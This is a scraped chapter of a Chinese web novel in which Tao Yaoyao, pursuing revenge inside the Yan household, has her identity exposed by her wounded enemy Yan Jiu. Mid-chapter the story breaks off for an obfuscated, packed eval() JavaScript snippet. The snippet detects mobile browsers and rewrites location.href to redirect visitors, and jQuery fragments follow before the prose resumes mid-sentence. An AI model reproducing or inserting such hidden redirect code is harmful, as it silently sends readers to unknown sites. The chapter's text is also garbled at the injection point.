默认冷灰
24号文字
方正启体

29. 戳穿身份

作者:yoyo鹿本书字数:K更新时间:
    天色既明,一缕晨曦斜斜地映在窗棂上,落进陶夭夭眼中,自燕逸之离府后,她便没有睡着,睁着眼躺在床上回忆着这次复仇行动的前前后后,寂静的夜里陶夭夭的心并不平静。


    当燕逸之踏着薄雾走进澄心院时,陶夭夭知道一切已经尘埃落定。


    她双目因激动而微微发颤,直等到燕逸之踏进屋门,她才如梦初醒般,站起身来,趋步走上去,自然而然地为他解开披风。


    “怎么起这么早?是我昨晚扰到你了?”燕逸之垂眸看着陶夭夭,她双眸薄如纤云垂着,好似因昨晚没睡好,眉宇间的神态不如往日那般精神,越发显得有几分纤弱。


    陶夭夭白皙如玉的手指拉开飘带,将他的披风递给翠竹,又端过来早茶奉上,才缓缓开口,“睡着了,只是不知为何早晨醒得早了。左右无事就起身了。倒是夫君你,一晚没睡,已经备好了早饭,夫君用些饭可休息会?”


    燕逸之放下茶盏,按按额间,声音有些懒懒得,“确实累了,不过好在三叔和大郎被捞回来了,只是受了些皮肉之苦,要修养些时日了。”


    闻言,正帮着一同布菜的陶夭夭手指猛然发颤,手中的一小碗白粥突然有些不稳,伴随着一声刺耳的“滋啦”声,瓷碗坠到桌上,咕噜噜打了个转,然后滚到地上,碎瓷片分散在她脚下,裙角也被轻微沾湿。


    “没事吧?伤到了吗?”燕逸之本来倦怠放松地靠在圈椅里,此时惊觉站起,几步跨到陶夭夭面前,捉住她的手,问道。


    手指烫红了印儿,燕逸之命人取些凉水,将她的手先握在手里,燕逸之冬日都温暖的手掌此时冰凉,瞬时中和了陶夭夭指尖的火辣热度。


    “我没事。”陶夭夭缓缓抽回手,命人收拾残渣碎碗,红唇抿直,“夫君用饭吧。”


    燕逸之忧心问道,“你脸色不大好,是否哪里不舒服?需不需要太医来看?”


    陶夭夭摇头,身体僵硬地坐下,“可能是起得早了些没精神,夫君不必担心我。”


    “只是夫君刚才说什么?我方才走了神,没听真切。”强行用了几口饭,陶夭夭的心神慢慢平复下来。


    既然事情没有成功,那也不必再纠结,知道更多细节缘由,总好过两眼一抹黑应对燕玖,毕竟此次一击不中,她难免要与燕玖见面。


    谈到昨晚之事,燕逸之停下银箸,细说起来,“昨日我赶到应天府时,罗大人已经不在应天府,几位公子同僚的家人已经聚在那里。被押在大牢不得见,疏通了关系后才得知,罗大人临走前派手下已经开始审问燕玖。”


    “受些刑倒是长些记性,我也就没多管。父亲已经去疏通关系,就在应天府等他的消息。”


    陶夭夭收起所有情绪,跟着燕逸之所说回应,“大郎刚刚回京,能犯什么事啊?”


    闻言,燕逸之神色沉了几分,“关于竹韵雅苑的事,虽与你说过,夫妻之间知无不言,但此事涉及朝堂,纷繁复杂,你还是不知道得为好。”


    “全依夫君所言,夫君不让我知道,我也就不多问了,只是夫君不要为此事过于操劳便好。”陶夭夭转移了话题,为燕逸之夹了菜。


    虽然燕逸之不说,但凭他这一句半语,陶夭夭也已经知道,燕玖被抓的确因为她找人告发的事情。


    既然如此,贿赂官员这种事,涉及官家最忌讳的结党营私,事情闹得这么大,燕府不可能在一夜之间就把事情压下,到底是谁帮了燕府?


    她对付燕玖,如果不用暗杀投毒,只能将燕府和背后之人一起除去,否则,有庇佑的燕玖和燕府,非她可以撼动。


    那么,他们幕后之人到底是谁呢!


    用过早饭,陶夭夭还近乎沉浸在自己的思绪里。燕逸之也没打搅她,却能明显感觉出今日夫人的异样,平日夫人独处时,眉宇间虽然也好似压着淡淡的愁色,但嘴角总是噙着一抹微笑,脸上多数不施粉黛,两颊天然的粉嫩白皙,如出水芙蓉般,是怎么看都不会腻的一幅流动的话。


    可现在的她,眸光始终垂着,看向窗外某处新发的绿芽,却没有希望的颜色,整个人的生气好似供给了那抹绿芽,硬生生失了颜色。


    燕逸之不明所以,本想阖眼小憩,脚步却移到了桌案后,展纸作画时,一个皱皱巴巴的纸张滑落。燕逸之弯腰捡起,那是一封家书,边角的褶皱说明读信之人反复读过。


    他看到信中所写,温和的眉目染上一层冷然之气,眼底如坠寒玉,冷冷看向窗棂前站着的陶夭夭。


    ——


    元宵节点灯,大奶奶田氏还请了司婆到府上举行祭祀仪式,因为她和燕玖先后遭了官司用以驱邪,还有便是保佑燕府子嗣兴盛。


    陶夭夭和府里的女眷很早便来接受仪式的洗礼。燕玖的新夫人秦南枝也在内,陶夭夭见她生得唇红齿白,一双眸眼十分羞赧,本看向陶夭夭这边的,在陶夭夭看过去时,硬生生别开眼,又好似觉得不妥,趋步朝陶夭夭身前走来,


    “南枝见过二婶。因为外出拜神山,错过了二叔与二婶的婚仪,实在不应该,我已经备了厚礼,本来想回来即刻送过去,没想到大郎吃了官司,又给耽搁了,请二婶见谅。”


    陶夭夭淡淡地扫过她,客气道,“不必多礼,心意我收下了,礼物你留着自己用便好。说起来,作为长辈,我还没送给你礼物。”


    说着,拔下头上一个金簪子,递过去,“这个簪子十分寻常,倒是它上头镶嵌的这颗珠子,是东海夜明珠,纵然夜里也光彩熠熠,看人真切。”


    秦南枝再三谢过,接过去后,小心捧在手里,陶夭夭视线冷凝在簪子上,开口道,“我为你簪上。”


    不等秦南枝说话,拿起簪子插在她的发间。


    仪式开始,她站在自己的位置上。陶夭夭和三奶奶挨得很近,低声询问她,“听说三叔被殃及,遭了官司,回来后便卧病在床,可好些了?”


    三奶奶摇头,眼中难掩凄凄之色,“受了杖刑,这些人下手真狠,打得皮开肉绽不说,还伤了筋骨。要不是救得及时,恐怕人就算出来,腿都要废了。”


    她说到此处,便一齐说到了燕玖,“听说大郎伤得更重,全身用鞭子抽的剩不下一块好皮。两三天血还没止住,听说是官衙审讯犯人都会在鞭子上涂什么东西。”


    “那可如何是好。”陶夭夭以帕掩唇,似是所有女子的惊骇。


    死了才好。


    三奶奶说,“大爷求到二老爷门前,奈何二老爷从不管这样的闲事。”


    仪式结束后,两人携手往厅堂走去,远远地,陶夭夭看见三老爷那个瘦削的身影歪在藤椅上,一大群莺莺燕燕簇拥着往哪里走。


    三奶奶也看到了,脸上尴尬了些,回头朝陶夭夭笑笑,“都习惯了,那事因为他知道得不多,而且,二老爷送去了药,伤口愈合得快,他哪里呆得住。”


    燕绥送药,倒是稀奇。


    陶夭夭轻疑,“三婶不是说二老爷不喜欢多管闲事嘛,对三叔倒是不同。”


    三奶奶闻言,只有摇头,“我也不知道,说是年纪相仿,他们二人比燕玖也大不了多少,可整个燕府,只有三老爷不惧怕二老爷,即使是粘在他的院子里,二老爷也不撵。”


    “我倒是希望二老爷能管管三老爷的性子,别再这样虚耗自己。这次送药,二老爷还申饬三老爷,问他这下改了嘛!”


    说到这里,三奶奶的视线追着三老爷的竹辇远去,“看样子,还是没改。”


    这倒是稀奇,不像燕绥的做派。


    陶夭夭没再过多深究此事,连燕逸之都讳莫如深,三奶奶知道得定然也不多,再问便漏了馅,她得从其他途径了解更多。


    陶夭夭转移了话题,“三婶,那个药你们用了吗?有动静没?”


    闻言,三奶奶眼眸中看不出是喜是愁,“我没用那个药,都让他拿去到外面……”语气顿了一息,“再说,就算是有,哪里就这么快了,怎么也要两三个月才能感觉得出来。”


    两人谈笑着进了厅堂,秦南枝禀了婆母,回去看看燕玖,大夫人颔首应下。


    燕玖躺在床上,刚刚换了药,整个身体像是从水里捞出来,冷汗浸湿了中衣,等换完中衣,燕玖本就惨白的脸色没了半分血色,再简单不过的换衣动作好似用尽了他的全力,身体软塌塌靠在背枕上,像随意扔在那里的破抹布。


    “夫君,吃药了。”秦南枝吹冷了药送到他唇边。


    燕玖目光死灰,只有出的气,没了进的气,“有什么好喝的,庸医,一点用都没有。”


    他是相较于三老爷发的牢骚,分明有药效极好的药,但任凭谁去要,燕绥愣是不给。


    秦南枝眼眶已泛上红,“夫君,您喝点,总比自己熬着好受些。”


    汤勺凑到嘴边,燕玖微微张口双唇,换作旁人,他早就赶出去了,只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263864|164880||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是她喂,他多少要给些面子,毕竟还要依仗她的父亲。


    送进去的药汁从嘴角滑落一缕,秦南枝放下药碗,拿着帕子去擦,垂眸的那瞬,发间簪子轻摇,发出悦耳的响声,就这么一搭眼,燕玖看到了秦南枝鬓间的金簪,双眸骤然紧缩,五雷轰雳,


    “你头上的发簪哪里来的!”


    没了素日的温声,燕玖这一声喝,骇得秦南枝心中凛然,面色苍白几分,去摸鬓间金簪,发觉夫君问的是陶夭夭送的那支,解释道,


    “方才遇见二婶,这是二婶送的。金簪倒是其次,上面镶嵌的,可是东海夜明珠,夜里都能看清人。”


    这话,是说他眼瞎嘛!


    “摘了!”燕玖喝道,双眼满布的红血丝似是蜿蜒攀爬的双手,撕扯着、叫骂着,好像要把秦南枝生吞活剥了。


    这支金簪,分明是他当初求娶陶夭夭时赠给她的,话说得都一模一样!


    这个贱人,竟然还没死,还跑到了府里,嫁给了他的二叔。


    “替我穿衣。”没有亲眼看到,燕玖总有几分不相信。


    秦南枝扶住差点跌下床的燕玖,“夫君,你伤成这个样子,有什么事,等伤好了再说吧。”


    燕玖甩开她的手,滚落床榻边,甜腥味从喉腔直直往上冲,燕玖咳了一口,鲜血溅到中衣上,恍若一朵朵雪日绽放的梅花。


    过于妖冶。


    等换好衣服出门,燕玖的伤口早已又崩裂,纱布中衣像是血水里滚过一般,他穿的是偏也是个白色的外袍,索性外袍偏厚,鲜血还没渗出来。


    扶着竹辇,秦南枝的手泛着冬日里的红,看着整个瘫在竹辇上的夫君,她害怕极了,害怕夫君身体撑不住,独留她一人……


    踏进厅堂时,大奶奶田氏正张罗大家入席,抬眼瞥见一架竹辇抬进来,以为是三老爷不安心养病又来凑热闹,燕盼儿隔着屋门近,惊呼了声,“大哥,你怎么来了!”


    众人寻声望去。陶夭夭抬起眸眼,眼里冷若寒冰,时隔一年光景,重又看到了这个只想挫骨扬灰的人。


    竹辇放在厅堂中央,大夫人率先扑过来,看见病殃殃的儿子只剩一口气,“大郎,你这是怎么了?不在屋里养病,怎么把他抬了来?!”后半句是对秦南枝的呵斥。


    秦南枝已红了眼圈,泣不成声。


    此时竹辇上的燕玖好似从昏厥里苏醒过来,摸索着抓住母亲的手,“母亲,不怪她,是我偏要过来的。”


    说着,让秦南枝把自己扶起来,他下眼睑乌黑,上眼睑就这么半耷拢着挂在眼球上,就像睁眼这样的动作,好似都耗费了他所有的气力,陶夭夭会想,就让他这么死了也不错,但没让他看到整个燕府的灭亡,也着实可惜。


    燕玖死水般的目光在屋子里扫了一遍,最后落在陶夭夭脸上,登时似水底的怪物翻腾而出,惊骇毒辣地横着她。


    “她,她……”燕玖手指颤颤,咳嗽和气息不稳,让他的话也跟着断断续续,“她是假的。”


    大奶奶田氏微惊,“你这话是什么意思?”


    燕玖咳出一口黑血,帕子攥在手里,眼中的恶毒不减,“祖母,她,二叔的新夫人是假的,她不是陶府的姑娘。”


    闻言,众人的目光如锥子般扎在陶夭夭身上,有惊疑、有错愕、有幸灾乐祸、有饶有兴致、有难以置信,全部落在陶夭夭身上。


    陶夭夭眼睫轻颤,脊背挺直地站在那里,谁也没看,目光自始至终与燕玖对视,毫不客气地回击回去,


    “你说我是假的,可有什么证据!我与燕府大郎可有什么仇怨,竟要这样污蔑于我。”


    燕玖手里帕子攥紧,鲜血一滴滴落在地上,“有什么仇怨你最清楚!我污蔑你,是你嫁给我二叔,安的什么歹毒心思。陶夭夭!”


    陶夭夭轻笑,“大郎,初次见面,你应该喊我二婶。”


    燕玖单臂撑在竹榻上,鲜血随着说话从嘴角不断往外涌,燕子荣趁势站了出来,语带轻蔑和傲慢,“她是真是假,在这里空辩无用,皇城司的指挥使大人就在这里,最能断这些是非,不如让二叔说说是真是假。”


    这时,不明是非的众人又扭头看向身后,正坐在圈椅里,喝着清茶的燕绥,燕绥闻言,放下茶盏,似笑非笑地看了如软剑锋利的陶夭夭,眉心微动,指腹在杯盏上摩挲,一字一顿徐徐吐出,


    “我看着,不、像、真、的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)